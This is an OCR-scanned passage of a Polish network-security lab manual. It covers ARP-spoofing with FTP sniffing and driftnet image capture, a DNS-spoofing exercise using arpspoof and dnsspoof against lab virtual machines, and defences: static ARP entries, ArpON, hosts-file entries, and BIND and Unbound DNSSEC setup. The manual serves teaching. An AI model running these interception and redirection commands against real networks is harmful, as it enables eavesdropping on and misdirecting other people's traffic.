B E Follow TCP Stream

Stream Content

220-Welcome to the Gt FTP Server

220-

220-For recent popular downloads we suggest that you use the http links on our download webpage:
www.qt.nokia.com/downloads. These downloads are delivered via a Content Delivery Network, which p
far superior download bandwidth.

220-

220-Also please note that files in the /inceming folder will be automatically deleted after 7 dayj
220

USER ftp

331 Please specify the password.

pass ftp

230 Login successful.

QuIT

221 Goodbye.

| Bind | Save As , Print | Entire conversation (498 bytes) ~ () ASCIl () EBCDIC () Hex Dump () C A
Help | Filter ut This Stream | {

Rys. 2.13. BackTrack — podglad transmisji z serwerem FTP
Zrédto: opracowanie wiasne.

Program driftnet dekoduje w czasie rzeczywistym transmisj¢ zawierajaca
grafikg¢ ze strumienia TCP (ang. Transmission Control Protocol — protokdét
kontroli transmisji), umozliwiajac przegladanie zawartosci plikow graficznych
pobieranych na komputer ofiary.

2.1.22. Na komputerze z systemem BackTrack uruchom program driftnet. Wpisz
w konsoli:

driftnet

2.1.23. Nastegpnie na komputerze z systemem Ubuntu uruchom przegladarke
internetowa (Aplikacje -> Internet -> Przegladarka WWW Firefox)
1 wejdz na dowolna strong internetowa zawierajaca pliki graficzne (np.
www.onet.pl).
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2.1.24. Na komputerze z systemem BackTrack mozna teraz przeglada¢ pliki
graficzne pobierane przez komputer ofiary:

Session Edit View Bookmarks Settings Help

# driftnet
driftnet

@ shell | g shellNo.2 |
23 .

= - @ ™ | v & root@bt: ~ - Shell No. 3 - ¥ driftnet BT ;& 1 = :5 EE »

Rys. 2.14. BackTrack — wynik dziatania programu drifinet
Zrédto: opracowanie wlasne.

2.2. Zabezpieczenie

Na atak ARP-spoofing podatne sa komputery, ktére korzystaja z dynamicznych
wpisOw w tablicach ARP. Wpis taki przechowuje odwzorowania IP -> MAC
w tablicy ARP tylko przez okreslony czas. Tablica jest aktualizowana na podstawie
ramek ARP Reply przesytanych w sieci lokalnej. Poniewaz komputer agresora
wysyla regularnie fatszywe ramki ARP Reply, to komputer ofiary korzysta
z fatszywych wpiséw IP -> MAC. Mozna uodporni¢ si¢ na fatszywe ramki ARP
Reply, ustawiajac statyczne wpisy w tablicy ARP — wpisy takie nie sg modyfi-
kowane podczas pracy systemu. Wpisy, ktérych nie umiescimy w tablicy ARP
statycznie, sg aktualizowane dynamicznie.

Prezentowane tutaj metody zabezpieczen dziataja w srodowiskach sieciowych,
ktérych topologia oparta jest o przetaczniki (ang. switch). Niestety, obstuga
srodowiska sieciowego w oprogramowaniu wirtualizacyjnym jest uproszczona —
komunikacja sieciowa dziala na zasadzie koncentratora (ang. hub), przez co
wszystkie pakiety sieciowe trafiaja do wszystkich maszyn wirtualnych.
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2.3. Statyczne wpisy w tablicy ARP

2.3.1. Na komputerze z systemem Debian przejdz do konsoli uzytkownika root.
Wpisz w konsoli:

2.3.2. Sprawdz jaki adres MAC posiada router. Wpisz w konsoli:

ifconfig eth1

ebian:-home-bss# ifconfig ethl
ethl Link encap:Ethernet HWaddr 88:808:27:78:84:18
inet addr:172.16.1.1 Bcast:8.8.8.8 Mask:255.255.255.8

UF BROADCAST RUNNING MULTICAST MTU:158B Metric:1

R¥ packets:19886 errors:8 dropped:BA overruns:B frame:@
TX packet=s:36187 errors:8 dropped:B overruns:H carrier:8
collisions:!A txqueuelen:l1B88

RX bytes:1589729 (1.4 MiB) TX bytes:53922898 (51.4 MiB)

Rys. 2.15. Debian — sprawdzenie stanu interfejsu sieciowego
Zrédlo: opracowanie wilasne.

Adres fizyczny znajduje si¢ w pierwszej linii, za ciagiem ,,HWaddr”.

2.3.3. Aby ustawi¢ statyczny wpis ARP na komputerze z systemem Windows 7,
wpisz w konsoli polecenie:

arp —s <adres_ip> <adres_mac>
gdzie:
<adres_ip> - adres IP komputera zdalnego,
<adres_mac> - adres fizyczny komputera zdalnego (jako separator uzyj

mysinika).

Wpisz w konsoli systemu Windows (zastap adres MAC adresem odczytanym
w pkt. 2.3.2):

arp —s 172.16.1.1 08-00-27-78-0d-18

2.3.4. Odczytaj adres MAC komputerze z systemem Windows. Wpisz w konsoli:

ipconfig —all
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Znajdz wpis dla karty Ethernet Pofqczenie lokalne 1 odczytaj adres fizyczny.

B C\Windows\systern32\crnd. exe |£”£|@

Routing IP wiaczony . . . . . . . &
Server WINS Proxy wiaczony. . . . :

m

Karta Ethernet Polaczenie lokalne:

= = = = = = = = = = = = = =« = = Karta Intel<R> PRO-1888 MT Desktop Adapte

e e e e 4 e 4 - .t BB-BO27-BR-1B-31
9 0o oooooo o o B [REE

Tak
: feBB::?c??:2d68:938d:fh5%%11(Preferovane’

e e e e e e omoa e e e a2 172.16.1.4CFreferovane)
ieci : 255.255.255.08
........... 172.16.1.1
IAID DHCPv6 . . . . : 235485351
Identyfikator DUID klienta DHCPv6 : BB-B1-88-81-14-61-7F-AF-88-88-27-8A-1B-31

Serwvery DNS . . . . . . . . . . . & 288B.67.222.222
NetBIOS przez Tepip . - . . . . . ¢ Wlaczony

Karta Ethernet UirtualBox Host—-Only Network:

Sufiks DNS konkretnego poXaczenia :

Rys. 2.16. Windows 7 — sprawdzenie stanu polaczenia lokalnego
Zrédto: opracowanie whasne.

2.3.5. Na maszynie z systemem Debian dodaj statyczny wpis. Sktadnia polecenia
jest taka sama jak w Windows, nalezy jednak zamiast separatora ‘-* uzy¢ ‘:’.
Wpisz w konsoli systemu Debian (zastap adres MAC adresem odczytanym
w pkt. 2.3.4):

arp —s 172.16.1.4 08:00:27:0a:1b:31

2.3.6. Wyswietl tablice ARP na maszynach z systemem Windows i Debian w celu
weryfikacji statycznych wpisdw. Wpisz w konsoli:

Whpisy statyczne wyréznione sg stowem ,,PERM” (systemy Linux) lub ,,Typ:
statyczne” (systemy Windows).

C:»Documents and Settings“AdministratorXarp —s 172.16.1.1 B8-88-27-97-hd—ff
C:sDocuments and Settings“Administratorrarp —a

Interfejs: 172.16.1.3 ——— Bx18883
Adres internetouy Adres fizyczny Typ
1?72.16.1.1 @8-08-27-97-h4-ff statyczne
172.16.1.2 a8-a8-27-01-18-72 dynamiczne

C:sDocuments and Settings“Administrator>_

Rys. 2.17. Statyczne wpisy w tablicy ARP systemu Windows
Zrédto: opracowanie whasne.
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2.4. ArpON (Arp handler inspectiON)

ArpON jest oprogramowaniem, ktére zabezpiecza komputer przed atakami
typu Man-in-the-Middle wykorzystujacymi ARP-Spoofing, przy uzyciu algorytméw
analizujacych pakiety ARP Request i ARP Reply. Aplikacja wykrywa i blokuje
ataki zatruwajace tablice ARP, przez co zabezpiecza takze przed atakami DHCP
i DNS Spoofing oraz przed przechwytywaniem sesji SSL (ang. Secure Socket Layer
— protokét zapewniajacy poufno$¢ i integralno$¢ danych oraz uwierzytelnianie
serwera).

2.4.1. Na maszynie z systemem Ubuntu zainstaluj program ArpON. Wpisz
w konsoli:

sudo apt-get —y install arpon

2.4.2. Uruchom program ArpON w trybie dynamicznej analizy pakietow ARP.
Wywotanie programu:

sudo arpon —i <int> <tryb>
gdzie:

<int> - interfejs na ktorym bedzie dziatat program,
<tryb> - tryb pracy (statyczny / dynamiczny).

Wpisz w konsoli:

sudo arpon —i eth0 —d

root@bss-VirtualBox: /home/bss# arpon -i ethe -d

Wait link connection on ethe...
DARPI on dev(eth®) inet(172.16.1.5) hw(8:8:27:7e:62:37)
Deletes these Arp Cache Pntrl -
1) 172.16.1.2 ->
2) 172.16.1.1 -> :
Cache entry timeout: 500 mllllseconds
Realtime Protect actived!
Request >> Add entry 172.16.1.2
Reply << Refresh entry 172.16.1.2 -> 8:0:27:e2:c2:34
Reply << Delete entry
> 8:8:27:e2:c2:34
Reply << Delete entry
> 8:0:27:e2:c2:34
Reply << Delete entry
-> 8:0:27:e2:c2:34

Rys. 2.18. Program ArpON w systemie Ubuntu 10.10
Zrédto: opracowanie whasne.
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2.5. Weryfikacja zabezpieczenia

W celu weryfikacji nalezy sprébowaé podstucha¢ pakiety na komputerze
agresora snifferem Wireshark, jednoczesnie logujac si¢ na serwer FTP z komputera
ofiary. Przy prawidtowo wprowadzonych odwzorowaniach ARP komputer ofiary
wysle pakiety bezposrednio do bramy sieciowej, przez co podstuch bedzie
niemozliwy.

2.5.1. Przejdz na maszyng z systemem Windows i polacz si¢ z serwerem FTP
(ang. File Transfer Protocol) wymagajacym logowania. Wpisz w konsoli:

ftp ftp.trolltech.com
Na serwerze zaloguj si¢ na konto uzytkownika ftp jako hasto podajac ftp

2.5.2. Na maszynie z systemem Ubuntu polacz si¢ z serwerem FTP. Wpisz
w konsoli:

ftp ftp.trolltech.com
Na serwerze zaloguj si¢ na konto uzytkownika ftp jako hasto podajac ftp

2.5.3. Przejdz na maszyng z systemem BackTrack. W programie Wireshark nie
powinny pojawia¢ sie nowe przechwycone pakiety.

2.5.4. Wyczy$¢ tablice wpisow ARP w systemie Windows. Na maszynie z syste-
mem Windows wpisz w konsoli:

2.5.5. Zatrzymaj dziatanie programu ArpON na komputerze z systemem Ubuntu.
Wpisz w konsoli:

sudo killall arpon
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2.5.6. Zamknij wszystkie wirtualne maszyny, zamykajac okna programu VirtualBox.
Przy potwierdzeniu zamknigcia wybierz opcje¢ Zapisanie stanu maszyny
i kliknij OK.

| x - o BackTrack 4R1 [wstrzymana] - VirtualBox - Edycja open-source

Maszyna Urzadzenia Pomoc

x Zamykanie maszyny wirtualnej
sposéb zamkniecia:
B@® Zapisanie stanu maszyny
@ ) wystanie sygnatu wytaczenia
# O wylaczenie maszyny

| Pomoc \ | Anulyj |w s

200 66 Prawy ctrl

Rys. 2.19. Oracle VirtualBox — zamknigcie 1 zapisanie stanu maszyny wirtualnej
Zrédlo: opracowanie wlasne.
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3. DNS-SPOOFING

Opracowat: Stawomir Adamus

Cel ¢wiczenia: wykonanie przyktadowego ataku DNS-spoofing na system
MS Windows

Potrzebne BackTrack Linux 4, arpspoof, dnsspoof

narzedzia: Microsoft Windows 7

Literatura: M. Szmit, M. Gusta, M. Tomaszewski, 101 zabezpieczen
przed atakami w sieci komputerowej, Wyd. Helion, 2005,
ss. 217-223.

Atak DNS-spoofing polega na uruchomieniu falszywego serwera nazw
domenowych (DNS) nastuchujacego na porcie UDP (ang. User Datagram Protocol —
protokét pakietow uzytkownika) 53. Do serwera tego kierowane sa zapytania
DNS przechwycone przez atakujacego (np. z uzyciem techniki ARP-spoofing).
Zwracane przez serwer fatlszywe odwzorowania nazw domenowych na adresy IP
umozliwiaja przekierowanie ruchu na nieprawidtowy serwer.

Atak DNS-spoofing zostanie zaprezentowany na przyktadzie typowej sieci
lokalnej. Komputer ofiary bedzie nawiazywat potaczenie z serwerem z domeny
google.com. W sieci bedzie jednak uruchomiony fatszywy serwer DNS, ktéry
przechwytujac ruch ofiary metoda ARP-spoofing bedzie przekierowywal ofiarg
na serwer WWW uruchomiony na komputerze napastnika. Topologia sieci
wykorzystanej w ¢wiczeniu zaprezentowana jest na rysunku rys. 3.1.

Debian Linux 5.0
172.16.1.1/ 24

BackTrack 4 R2
172.16.1.2/ 24

Microsoft Ubuntu Linux
Windows 7 10.10
172.16.1.4 /24 172.16.1.5/24

Rys. 3.1. Schemat sieci wykorzystanej w ¢wiczeniu DNS-Spoofing
Zrédlo: opracowanie wilasne.
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3.1. Przygotowanie ataku
3.1.1. Uruchom wirtualng maszyng z systemem Debian i zaloguj si¢ do systemu.

3.1.2. Upewnij sig, ze konfiguracja sieci pozwala na komunikacj¢ z Internetem.
Wpisz w konsoli:

3.1.3. Uruchom wirtualng maszyng z systemem Ubuntu i zaloguj si¢ do systemu.

3.1.4. Upewnij sig, ze konfiguracja sieci pozwala na komunikacj¢ z Internetem.
Whpisz w konsoli:

ping —¢c 4 www.google.pl

3.1.5. Uruchom wirtualna maszyng z systemem Windows 7 i zaloguj si¢ do
systemu.

3.1.6. Upewnij sig, ze konfiguracja sieci pozwala na komunikacj¢ z Internetem.
Wpisz w konsoli systemu Windows:

ping www.google.pl

3.1.7. Uruchom wirtualna maszyn¢ z systemem BackTrack 4 i zaloguj si¢ do
systemu.

3.1.8. Upewnij sig, ze konfiguracja sieci pozwala na komunikacj¢ z Internetem.
Wpisz w konsoli:

ping —c 4 www.google.pl

3.1.9. Na komputerze z systemem BackTrack 4 wykonaj atak ARP-spoofing
w celu przechwycenia komunikacji ofiar z Internetem. Wpisz w konsoli:

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof —i eth0 -t 172.16.1.4 172.16.1.1

arpspoof —i eth0 -t 172.16.1.1 172.16.1.4
arpspoof —i eth0 -t 172.16.1.5172.16.1.1
arpspoof —i eth0 —t 172.16.1.1 172.16.1.5
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Session Edit View Bookmarks Settings

9806 42: arp
arp
arp
arp
arp
arp
arp
arp

COCO OO OO OO ODOoEDEOoODoEEOoOoNDeoEeOoOonDomeo

R R

| @ shell | @ shell No. 2 [

Rys. 3.2. BackTrack — wykonanie ataku ARP-Spoofing
Zrédto: opracowanie whasne.

3.1.10. Uruchom serwer WWW, na ktéry kierowany bedzie ruch z domeny
google.com. Wpisz w konsoli:

3.1.11. Utworz plik index.html w katalogu /var/www o nastgpujacej zawartosci:

<html>
<body>
<hl>
Atak DNS-spoofing
</hl>
</body>
</html>

W tym celu wpisz w konsoli:

echo ,<html><body><h1>Atak DNS-spoofing</h1></body></html>” >

/var/www/index.html
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3.1.12. Nastepnie utwoérz plik konfiguracyjny dla programu dnsspoof z lista
podmienianych adreséw wg. schematu:
<IP> <nazwa domenowa>
gdzie:

<IP > - adres IP, ktory bedzie zwracany przez fatszywy serwer DNS,
<nazwa domenowa>- adres domenowy, ktorego odwzorowanie bedzie
fatszowane.

W przyktadzie sfalszowane zostana wszystkie odpowiedzi na zapytania
kierowane do serweréw google.com. Umieszczenie gwiazdki na poczatku nazwy
domenowej powoduje przechwycenie ruchu do wszystkich subdomen. Aby
utworzy¢ plik konfiguracyjny, wpisz w konsoli:

echo ,172.16.1.2 *google.com” > serwery

3.1.13. Uruchom program dnsspoof z utworzonym wcze$niej plikiem konfigu-
racyjnym. Wpisz w konsoli:

dnsspoof —f serwer

r :~# dnsspoof -f serwery
dnsspoof: listening on eth® [udp dst port 53 and not src 172.16.1.2]
172.16.1.10.68200 > 208.67.222.222.53: 15351+ A? www.google.pl

Rys. 3.3. BackTrack — wykonanie ataku DNS-Spoofing
Zrédto: opracowanie wiasne.

3.1.14. Na komputerze z systemem Windows 7 wlacz przegladarke internetowa
i wejdz na strong www.google.com (lub inna zgodnie z zawarto$cig pliku

& http:/fwww.google.com/ - Windows Internet Explorer ===
)= | &) ripwmmgosgesom “[[%] ][ s 5~
J Ulubione | 5l @ Sugerowane witryny > ] Galeria obicktow Web .. +

@ hitp:/fwww.google.com/ G- 8 - s v Stonav Bezpieceistvo v Narzedzia~ @~

Atak DNS-spoofing

Rys. 3.4. Windows 7 — efekt wykonania ataku DNS-Spoofing
Zrédto: opracowanie wiasne.
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3.2. Zabezpieczenie

Na atak DNS-spoofing narazone sa komputery, ktére nie korzystaja z serweréw
DNS uzywajacych protokotu DNSSec (ang. Domain Name System Security
Extensions — rozszerzenia bezpieczenstwa protokotu DNS). Przed zaprezentowanym
atakiem mozna zabezpieczy¢ si¢ na kilka sposobow:

®* mozna nie uzywac serweréw DNS, postugujac si¢ jedynie adresami IP —

takie rozwiazanie jest jednak niewygodne i nie uwzglednia mozliwosci
migracji serwer6w pod inne adresy IP.

® mozna na state potaczy¢ nazwy serweréw z ich adresami IP poprzez

statyczne odwzorowania nazw.

® mozna korzysta¢ z bezpiecznych serweréw nazw domenowych. Wymusze-

nie korzystania z protokotu DNSSec, w ktérym nadchodzace odpowiedzi
sa autoryzowane, powoduje odrzucenie odpowiedzi sfalszowane;.

3.3. Statyczne odwzorowania nazw domenowych

3.3.1. Na maszynie z systemem Windows 7 uruchom Notatnik z prawami admini-
stratora. Wejdz w menu Start -> Wszystkie programy -> Akcesoria,
kliknij prawym przyciskiem myszy na programie Notatnik i wybierz opcjg
Uruchom jako administrator.

.. Akcesoria

@ Centrum synchronizacji
4 Eksplorator Windows
B Kalkulator
‘%& MNarzedzie Wycinanie
7 Notatnik [
5l Paint
& Panel zapisu
'® Podiaczanie Otwarz lokalizacje pliku
@3 Polacz z proj Przypnij do paska zadan
=5 polacz z proj Przypnij do menu Start
‘l, Rejestrator d
Sticky Motes

1=/ Uruchom Wyslij do
B Wiersz polec|
= wordPad Wytnij
=1 Wprowadzer Kopiuj

. Narzedzia sy
.. Tablet PC

| Ulatwienia d Zmien nazwe oc i obstuga techniczna

Otworz

Uruchom jako administrator

Przywrac poprzednie wersje BEE
| sterowania

dzenia i drukarki

E ramy domysine
Usun

Wstecz Wiasciwosci

Rys. 3.5. Windows 7 — uruchomienie notatnika
Zrédlo: opracowanie wlasne.
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3.3.2. Uaktywni si¢ mechanizm Kontroli konta uzytkownika. Wci$nij Tak.

@ Kontrola konta uzytkownika

zwolic

@ Czy che
/' wprowadzenie zmian

""‘j Mazwa programu: Motatnik
Wl Sprawdzony wydawca: Microsoft Windows

\:l Pokaz szczegdly

Zdecyduj, kiedy sa wyswietlane powiadomienia

Rys. 3.6. Windows 7 — mechanizm UAC
Zrédto: opracowanie wiasne.

3.3.3. W Notatniku kliknij menu Plik -> Otwérz.

| Bez tytutu — Notatnik

Edycja Format Widok Pomoc

MNowy Ctrl+ N
Otwérz... Ctrl+0
ZLapisz Ctrl+5
Zapisz jako...

Ustawienia strony...

Druku... Ctrl+P

Zakoncz

Rys. 3.7. Notatnik — otwarcie pliku
Zrédlo: opracowanie wlasne.

3.3.4. W filtrze typu pliku wybierz Wszystkie pliki i przejdz do katalogu:
C:\Windows\System32\drivers\etc

| Otwieranie =
S
(I [ 1] » Komputer » Dysklokalny (C:) » Windows » System32 b drivers b etc j:etc Ry
Organizuj ~  Nowy folder 0 @
- Ulubione ~ ' Nozwa ’ Detemodyfikacji  Typ Rozmiar
%] Ostatnie migjsca [ hosts 01011101128 Plik 1k8
i Pobrane | Imhosts sam 238 PlkSAM 4xe
B Pulpit | networks B Pk 1KE
[ protocol 30 Plik 2KE
4 Biblioteki [ senvices Plik 18KE
[F] Dokumenty  |=
& Muzyka
=) Obrazy
B wideo
¥ Grupa demowa

8 Komputer
&L, Dysk lokalny (C:)
¥ Stacja dyskow €[~

Nazwa pliku: v | Wszysthie pliki -

Kodowanie: [ANSI 7] [omwén ] [ A |

Rys. 3.8. Windows 7 — lokalizacja pliku hosts
Zrédto: opracowanie wiasne.
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3.3.5. Wybierz plik hosts i kliknij Otworz.
3.3.6. Dodaj na koncu pliku wpis statyczny w postaci:
<IP> <nazwa domenowa>
gdzie:

<IP> - adres IP serwera,
<nazwa domenowa> - nazwa domenowa serwera.

Wpisz na koncu pliku:

74.125.79.104 www.google.com

| hosts — Notatnik
Plik Edyga Format Widok Pomoc

Copyright (c) 1993-2009 Microsoft Corp.
This is a sample HOSTS file used by Microsoft TCP/IP for windows.

This file contains the mappings of IP addresses to host names. Each
entr¥ should be kept on an individual 1ine. The IP address should
a

be placed in the first column followed bg the corresponding host name.
The IP address and the host name should be separated by at Tleast one
space.
Addﬁtiona11¥, comments (such as these) may be inserted on individual
1ines or following the machine name denoted by a "#' symbol.
For example:

102.54.94,97 rhino. acme. com # source server

38.25.63.10 X.acme. com # x client host

localhost name resolution is handled within DNS dtself.
127.0.0.1 localhost
1l localhost
4,125.79.104  www.google, com

43k e R R e e e e R R R R R e e R R R

-

Rys. 3.9. Windows 7 — dodanie statycznego wpisu w pliku hosts
Zrédto: opracowanie wiasne.

3.3.7. Zapisz plik i zamknij Notatnik.

W systemach z rodziny Windows plik hosts znajduje si¢ w katalogu:

Windows 98/ME CAWINDOWS

Windows NT/2000 CAWINNT\SYSTEM32\DRIVERS\ETC
Windows XP/Vista/7 CAWINDOWS\SYSTEM32\DRIVERS\ETC
Windows 2003/2008 CAWINDOWS\SYSTEM32\DRIVERS\ETC
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W systemach z rodziny Unix plik hosts znajduje sie w katalogu /etc.
Sktadnia pliku jest podobna, mozna jednak doda¢ opcjonalnie alias domeny,
czyli skrécong nazwe¢ domenowa. Skladnia:

<IP> <nazwa domenowa> <alias>
gdzie:
<IP> - adres IP serwera,

<nazwa domenowa> - nazwa domenowa serwera,
<alias> - alias domeny serwera.

3.4. Instalacja i konfiguracja serwera DNSSEC BIND w Ubuntu

Protokét DNSSEC jest rozszerzeniem systemu DNS, majacym na celu
zapewnienie bezpiecznego korzystania z systemu nazw domenowych poprzez
zabezpieczenie transmisji. Bezpieczefnstwo jest zapewniane przez zastosowanie
kryptografii i podpiséw cyfrowych.

Ponizej zaprezentowane jest uruchomienie serwera DNS wykorzystujacego
DNSSEC na przyktadzie programu BIND.

3.4.1. Na komputerze z systemem Ubuntu zaktualizuj list¢ programéw dostgpnych
z repozytorium. Wpisz w konsoli:

sudo su
apt-get update
Zostaniesz poproszony o podanie hasta administratora.

3.4.2. Zainstaluj program BIND. Wpisz w konsoli:
apt-get install bind9

96



Potwierdz instalacj¢ klawiszem T (Y w wersji angielskiej).

bss@bss-VirtualBox:~$ sudo su
[sudo] password for bss:
root@bss-VirtualBox: /home/bss# apt-get install bind9
Czytanie list pakietow... owe
Budowanie drzewa zaleznosci
Odczyt informacji o stanie... Gotowe
Zostang zainstalowane nastepujace dodatkowe pakiety:
bind9-host bind9utils dnsutils 1ibbind9-60 1ibdns66 libisc6® libisccc6@
libisccfgéd liblwresee
Sugerowane pakiety:
bind9-doc resolvconf rblcheck
Zostang zainstalowane nastepujace NOWE pakiety:
bind9 bind9utils
Nastepujace pakiety zostang zaktualizowane:
bind9-host dnsutils libbind9-68 libdns66 libisc6® libisccc6® libisccfg6e
liblwres60
8 aktualizowanych, 2 nowo instalowanych, ® usuwanych i1 199 nieaktualizowanych.
Konieczne pobranie 1624kB archiwow.
Po tej operacji zostanie dodatkowo uzyte 1352kB miejsca na dysku.
Kontynuowa¢ [T/n]?

Rys. 3.10. Instalacja BIND w systemie Ubuntu
Zrédto: opracowanie wlasne.

3.4.3. Pobierz KSK (ang. Key Signing Key — klucz stuzacy do podpisu kluczy
stref DNS) root serweréw ustugi DNSSEC i zapisz wynik w pliku klucz.
Wpisz w konsoli:

. dnskey|grep 257 > klucz

‘home/bss# dig . dnskey|grep 257 = klucz

'home/bss# cat klucz
i 172721 1IN DNSKEY 257 3 8 AwEAAagAIKI\VZrpC6la7gEza
hOR+9W29euxhIhVVLOyQbSEWB08gcCjF FVQUTfEv58TLjwBdOYIBEZrAcQgBGCzh/RStIo08geONTNTL
2MTIRkxoX bfDaUeVPQuYEhg37NZWAJQ9VnMVDxP/VHL496M/QZxk]f5/Efucp2gal X6RS6CXpoY6BL|
sVPVjROZSwzz1lapAzvN9d1zEheX7ICIBBtuA6G3LApz W5h0AZhzCTM]jJIPI8LbqF6dsVEDoBQzgulesG

root@bss-VirtualBox: /home/bss# l

Rys. 3.11. Pobranie KSK root serweréw ustugi DNSSEC
Zrédlo: opracowanie wilasne.

3.4.4. Dodaj do pliku /etc/bind/named.conf wpis z zaufanym kluczem. Wpisz
w konsoli:

gedit /etc/bind/named.conf

i wpisz na koncu pliku:

trusted-keys{
257 3 8 "<klucz>";
}i
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wstawiajac w miejsce <klucz> klucz KSK zapisany w pliku /home/bss/klucz.

*named.conf (fetc/bind) - gedit

File Edit View Search Tools Documents Help
o lmoven - Bisave & aundo B Q%

*named.conf %

// This is the primary configuration file for the BIND DNS server named.

I

// Please read /usr/share/doc/bind9/README.Debian.gz for information on the
// structure of BIND configuration files in Debian, *BEFORE* you customize
// this configuration file.

1
// If you are just adding zones, please do that in /etc/bind/named.conf.local

include "/etc/bind/named.conf.options";

include "/etc/bind/named.conf.local”;

include "/etc/bind/named.conf.default-zones";

trusted-keys{

. 257 3 8 "AwEAAagAIKLVZrpC6Ia7gEzahOR+9W2%euxhIhVVLOyQbSEWB08gcCjF
FVQUTf6v58fLjwBdBYIBEZrAcQqBGCzh/RStIo08gBNTNTL2ZMTIRkx0X bfDaleVPQuYEhg37NZWAIQIVNMVDxP/VHL496M/
QZxkjf5/Efucp2gaD X6RSE6CXpoY6BLSVPVjREZSwWzz1lapAzvNIdlzEheX7ICIBBtUABG3LOpz
W5h0A2hzCTMjJPI8LbqF6dsVEDoBOzgulOsGIcGOY170yQdxfZ57relS Qageu
+1pAdTTI25ASRTAOUbBONGCLmMG rAMRLKBP 1d fwhYB4N7knNnulg QxA+Uklihze=";

L

C v Tabwidth: 8 »| Ln13, Col 366 INS

Rys. 3.12. Wpis w named.conf z zaufanym kluczem
Zrédto: opracowanie wiasne.

3.4.5. Zapisz plik i zamknij edytor.
Dodaj w pliku /etc/bind/named.conf.options w sekcji options wpis informujacy

o wykorzystaniu protokotu DNSSEC i1 wskazujacy na serwer OpenDNS. Wpisz
w konsoli:

amed.conf.options

i w sekcji options wpisz:

forwarders/{
208.67.222.222;

dnssec—enable yes;
dnssec-validation yes;

98



@S A named.conf.options (fetc/bind) - gedit

File Edit View Search Tools Documents Help
G oven ~ @save @ undo B Q%

named.conf.options #

options {

directory "/var/cache/bind";

L
£
Vi

I
I
1
¥

If there is a firewall between you and nameservers you want
to talk to, you may need to fix the firewall to allow multiple
ports to talk. See http://www.kb.cert.org/vuls/id/860113

If your ISP provided one or more IP addresses for stable
nameservers, you probably want to use them as forwarders.
Uncomment the following block, and insert the addresses replacing
the all-@'s placeholder.

forwarders {

5

208.67.222.222;

dnssec-enable yes;
dnssec-validation yes;|

auth-nxdomain no; # conform to RFC1835
listen-on-v6 { any; };

Plain Text v | Tab Width: 8 + Ln 18, Col 31 INS

Rys. 3.13. Konfiguracja serwera BIND do korzystania z DNSSEC

Zrédlo: opracowanie wilasne.

3.4.6. Zapisz plik i zamknij edytor.

3.4.7. Zrestartuj ustuge BIND. Wpisz w konsoli:

service bind9 restart

3.4.8. Nastepnie nalezy skonfigurowaé lokalny resolver DNS, aby korzystat

z uruchomionego serwera DNSSEC. Wpisz w konsoli:

gedit /etc/resolv.conf

1 zamien zawarto$¢ pliku na nast¢pujaca:

options endsO
nameserver 127.0.0.1

3.4.9. Zapisz plik i zamknij edytor.

3.4.10. Sprawdz dziatanie serwera. Wpisz w konsoli:

host wp.pl
host dnssec-failed.org
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Domena dnssec-failed.org jest domenga testowa, uruchomiona dla sprawdzenia
poprawnosci dziatania protokotu DNSSEC. Jesli serwer BIND skonfigurowany
jest poprawnie, to wskaze adres IP serwera wp.pl, natomiast zglosi btad
(SERVFAIL) w przypadku domeny dnssec-failed.org.

root@bss-VirtualBox: /home/bss# host wp.pl
wp.pl has address 212.77.188.181

wp.pl mail is handled by & mx.wp.pl.
wp.pl mail is handled by 5 mx5.wp.pl.

root@bss-VirtualBox: /home/bss# host dnssec-failed.org
sec-failed.org not found: 2(SERVFAIL)
roofm ss-VirtualBox:/home/bss#

Rys. 3.14. Weryfikacja dziatania serwera BIND
Zrédlo: opracowanie wilasne.

3.5. Instalacja resolvera DNSSEC Unbound w Windows 7

Program Unbound jest resolverem zapytan DNS, korzystajacym z serweréw
DNSSEC.

3.5.1. Uruchom instalator programu Unbound znajdujacy si¢ w pliku:
<work_dir>/ARP-Spoofing/Unbound 1.4.7.exe

3.5.2. Wcisnij Next.

@UnboundSetup EI = @

N L net Welcome to the Unbound Setup

Wizard

°|'.: I a b S This wizard will guide you through the installation of
800 Unbound.

It is recommended that you dose all other applications
before starting Setup. This will make it possible to update
relevant system files without having to reboot your
computer.

Click Next to continue.

[ Mext > ][ Cancel ]

Rys. 3.15. Uruchomienie instalatora programu Unbound w systemie Windows 7
Zrédto: opracowanie wlasne.

100



3.5.3. Przeczytaj licencje¢ uzytkownika koncowego (EULA) i wcisnij I agree.

@ Unbound Setup El =
License Agreement
Please review the license terms before installing Unbound. Un und

Press Page Down to see the rest of the agreement.

“opyright (c) 2007, NLnet Labs. All rights reserved.

»

This software is open source.

|

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:

Redistributions of source code must retain the above copyright notice,

this list of conditions and the following disdaimer.

If you accept the terme of the agreement, dick I Agree to continue. You must accept the
agreement to install Unbound.

’ < Back ][ I Agree ] [ Cancel ]

Rys. 3.16. Instalator Unbound — licencja EULA
Zrédto: opracowanie wiasne.

3.5.4. Na nastgpnym ekranie mozna wybra¢ sktadniki oprogramowania. Zaznacz
opcje Root anchor — DNSSEC i wcisnij Next.

@ Unbound Setup EI =
Choose Components
Choose which features of Unbound you want to install. Un und

Check the components you want to install and uncheck the components you don't want to
install. Click Mext to continue.

Select components to install: Description )

Root anchor - DNSSEC
oLy - div.isc.org

Space required: 13.7MB

[ < Back ][ Mext > ] [ Cancel

Rys. 3.17. Instalator Unbound — wybér sktadnikéw
Zrédto: opracowanie wiasne.
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3.5.5. Nastepnie nalezy zdefiniowa¢ $ciezke instalacyjna dla programu. Wcisnij
Next.

@UnboundSetu:p EI! = @

Choose Install Location U d
Choose the folder in which to install Unbound. n un

Setup will install Unbound in the following folder. To install in a different folder, dick Browse
and select another folder. Clidk Next to continue.

Destination Folder

Browse...

Space required: 13.7MB
Space available: 12.7GB

[ < Back ][ Next > ][ Cancel ]

Rys. 3.18. Instalator Unbound — §ciezka instalacyjna
Zrédlo: opracowanie wlasne.

3.5.6. W kolejnym kroku mozna zmieni¢ nazwe katalogu w menu Start. Wcisnij
Install.
@ Unbound Setup EI'E‘@

Choose Start Menu Folder U d
Choose a Start Menu folder for the Unbound shortouts, n un

Select the Start Menu folder in which you would like to create the program's shortcuts. You
can also enter a name to create a new folder.

Accessories
Administrative Tools

Games

Maintenance

Mozilla Firefox

Orade VM VirtualBox Guest Additions
Startup

Tablet PC

Vidalia Bundle

[ Do not create shortouts

Fullsoft Install Svstem v

[ < Back ][ Install ][ Cancel ]

Rys. 3.19. Instalator Unbound — menu Start
Zrédto: opracowanie wiasne.
